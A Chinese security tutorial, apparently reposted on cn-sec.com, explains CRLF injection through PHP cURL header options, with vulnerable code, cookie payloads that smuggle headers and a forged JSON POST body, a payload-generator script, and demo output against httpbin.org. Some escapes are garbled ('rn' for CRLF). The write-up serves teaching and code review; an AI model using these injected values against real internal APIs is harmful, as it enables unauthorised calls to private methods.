教程 | CRLF注入技巧分析

admin 2023年2月23日11:45:37评论32 views字数 6168阅读20分33秒阅读模式
这是一篇关于将回车符和换行符注入内部 API 调用的文章。我在做代码审时遇到了这样的函数
<?php
// common.php
function getTrialGroups(){
   $trialGroups = 'default';
   if (isset($_COOKIE['trialGroups'])){
       $trialGroups = $_COOKIE['trialGroups'];
   }
   return explode(",", $trialGroups);
}
我正在审计的CMS系统中有一个“Trial Groups”的概念。每个用户session都有一个与之关联的组,以逗号分隔的列表形式存储在 cookie 中。作用是,当新功能推出时,首先可以为一小部分客户启用它们,以降低功能发布的风险。

getTrialGroups()函数只是读取 cookie 值,将列表分开并返回该用户的试用组。

此函数中缺少白名单立即引起了我的注意。我搜索了代码库的其余部分以找到调用该函数的位置,这样我就可以查看是否存在对其返回值的不安全使用。

<?php

// server.php

// Include common functions

require __DIR__.'/common.php';

// Using the awesome httpbin.org here to just reflect

// our whole request back at us as JSON :)

$ch = curl_init("http://httpbin.org/post");

// Make curl_exec return the response body

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set the content type and pass through any trial groups

curl_setopt($ch, CURLOPT_HTTPHEADER, [

"Content-Type: application/json",

"X-Trial-Groups: " . implode(",",
getTrialGroups
())

]);

// Call the 'getPublicData' RPC method on the internal API

curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([

"method" => "getPublicData",

"params" => []

]));

// Return the response to the user

echo curl_exec($ch);

curl_close($ch);

getPublicData代码使用 cURL 库在内部 JSON API 上调用方法。该 API 需要用户的试用组,以便它可以相应地更改其行为,因此试用组在标头中传递给 API X-Trial-Groups

问题出现设置 CURLOPT_HTTPHEADER时不会检查回车符或换行符的值。因为getTrialGroups()函数返回用户可控的数据,所以可以将任意标头注入 API 请求。

演示时间

为了更容易理解,我把server.php放到本地Web 服务器测试
tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php

PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018

Listening on
http://localhost:1234
Document root is /home/tom/tmp/crlf

Press Ctrl-C to quit.
使用 cURL 发送一个包含trialGroupscookie 的请求:
tom@slim:~▶ curl -s localhost:1234 -b '
trialGroups=A1,B2
'

{

 "args": {},

 "data": "{"method":"getPublicData","params":[]}",

 "files": {},

 "form": {},

 "headers": {

   "Accept": "*/*",

   "Connection": "close",

   "Content-Length": "38",

   "Content-Type": "application/json",

   "Host": "httpbin.org",

   
"X-Trial-Groups": "A1,B2"

 },

 "json": {

   "method": "getPublicData",

   "params": []

 },

 "origin": "X.X.X.X",

 "url": "
http://httpbin.org/post
"

}

作为内部API的替代,我使用http://httpbin.org/post,它返回一个描述发送POST请求的JSON文档,包括请求中的任何POST数据和 headers信息。

需要注意的是,发送至httpbin.org的X-Trial-Groups头含有trialGroups cookie中的A1,B2字符串。让我们尝试一下CRLF(回车换行)的注入。
tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2
%0d%0aX-Injected:%20true
'

{

 "args": {},

 "data": "{"method":"getPublicData","params":[]}",

 "files": {},

 "form": {},

 "headers": {

   "Accept": "*/*",

   "Connection": "close",

   "Content-Length": "38",

   "Content-Type": "application/json",

   "Host": "httpbin.org",

   
"X-Injected": "true",

   "X-Trial-Groups": "A1,B2"

 },

 "json": {

   "method": "getPublicData",

   "params": []

 },

 "origin": "X.X.X.X",

 "url": "
http://httpbin.org/post
"

}

PHP自动对cookie值中的URL编码序列(如%0d,%0a)进行解码,所以我们可以在发送的cookie值中使用URL编码的回车字符(%0d)和换行字符(%0a)。HTTP headers 是由CRLF序列分开的,所以当PHP cURL库写入请求头时,我们的有效payload 中的X-Injected: true部分被当作一个单独的header来处理。神奇!


HTTP 请求

通过向请求中注入标头,真正能做什么?好吧,说实话:在这种情况下不是很多。如果我们更深入地研究 HTTP 请求的结构,您会发现我们可以做的不仅仅是注入标头;我们也可以注入POST数据!
要了解漏洞利用的工作原理,您需要了解一些 HTTP 请求。您可以执行的最基本的 HTTPPOST请求如下所示:
POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7
thedata
 让我们逐行分解它。
POST /post HTTP/1.1
第一行使用POST方法向/post端点发送请求,使用HTTP 1.1版本。
Host: httpbin.org
这个header告诉远程服务器,正在请求httpbin.org,当连接到一个HTTP服务器时,你是连接到服务器的IP地址,而不是域名。如果你在请求中不包括主机头,服务器就没有办法知道你在浏览器的地址栏中输入了什么域名。
Connection: close
要求服务器在完成发送响应后关闭底层 TCP 连接。如果没有此标头,连接可能会在发送响应后保持打开状态。
Content-Length: 7
 Content-Length头告诉服务器将在请求正文中发送多少字节的数据。这个很重要:)
这里没有错误;这个空行只包含一个 CRLF 序列。它告诉服务器我们已完成发送标头,即将发送请求正文。
thedata
最后发送请求正文(POST数据)。它的长度(以字节为单位)必须与我们之前发送的标头匹配Content-Length,因为我们告诉服务器它必须读取那么多字节。
使用 echo 命令发送到netcat来将此请求发送到 httpbin.org :
tom@slim:~▶ echo -e "POST /post HTTP/1.1rnHost: httpbin.orgrnConnection: closernContent-Length: 7rnrnthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
一切都按预期执行。我们得到一些响应头、一个 CRLF 序列,然后是响应主体。
那么,问题来了:如果你发送的POST数据比你在Content-Length头中的要多,会发生什么?让我们试一试。
tom@slim:~▶ echo -e "POST /post HTTP/1.1rnHost: httpbin.orgrnConnection: closernContent-Length: 7rnrnthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}
我们保持Content-Length头不变,说我们要发送7个字节,并在请求正文中增加了一些数据,但服务器只读取了前7个字节。而这就是我们可以用来实际制作一个漏洞的技巧


利用

事实证明,当你设置了CURLOPT_HTTPHEADER选项时,你不仅可以通过使用单一的CRLF序列来注入headers ,你还可以使用双CRLF来注入POST数据。所以计划是这样的。
  1. 制作自己的JSON POST数据,调用getPublicData以外的一些方法;比方说getPrivateData
  2. 以字节为单位获取该数据的长度
  3. 使用一个CRLF,注入Content-Length头,指示服务器只读取这个字节数。
  4. 注入两个CRLF序列,然后将我们的恶意JSON作为POST数据。

如果一切顺利,POST内部 API 应该完全忽略合法的 JSON 数据,使用我们的恶意 JSON。
为了让自己更轻松,我编写了脚本来生成payload 
tom@slim:~▶ cat gencookie.php
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignorernContent-Length: {$length}rnrn{$postData}";echo "trialGroups=".urlencode($payload);
tom@slim:~▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
运行:
tom@slim:~▶ curl -s localhost:1234 -b $(
php gencookie.php
)

{

 "args": {},

 "data": "{"method": "getPrivateData", "params": []}",

 "files": {},

 "form": {},

 "headers": {

   "Accept": "*/*",

   "Connection": "close",

   
"Content-Length": "42"
,

   "Content-Type": "application/json",

   "Host": "httpbin.org",

   "X-Trial-Groups": "
ignore
"

 },

 "json": {

   "method": "
getPrivateData
",

   "params": []

 },

 "origin": "X.X.X.X",

 "url": "
http://httpbin.org/post
"

}
成功!我们将x-Trial-Groups头设置为ignore,注入Content-Length头和我们自己的POST数据。合法的POST数据还是被发送了,但是被服务器完全忽略了:)

其他载体

自从发现这个bug以来,我一直试图留意类似的情况。在我的研究中,我发现CURLOPT_HTTPHEADER并不是唯一容易受到相同攻击的 cURL 选项。以下选项(可能还有其他选项!)在请求中隐式设置标头,并且容易受到攻击:
  • CURLOPT_HEADER
  • CURLOPT_COOKIE
  • CURLOPT_RANGE
  • CURLOPT_REFERER
  • CURLOPT_USERAGENT
  • CURLOPT_PROXYHEADER

如果您发现更多,请告诉我 教程 | CRLF注入技巧分析

教程 | CRLF注入技巧分析
知识星球
教程 | CRLF注入技巧分析
QQ吹牛群
教程 | CRLF注入技巧分析
微信群
教程 | CRLF注入技巧分析
教程 | CRLF注入技巧分析
想成为凯文·米特尼克一模一样的
黑客教父?不存在的
想成为透透之神?醒吧
看了无数入门视频,依然搞不到Shell
不姨看《安全帮Live》
教程 | CRLF注入技巧分析

原文始发于微信公众号(安全帮Live):教程 | CRLF注入技巧分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月23日11:45:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   教程 | CRLF注入技巧分析http://cn-sec.com/archives/1568317.html

发表评论

匿名网友 填写信息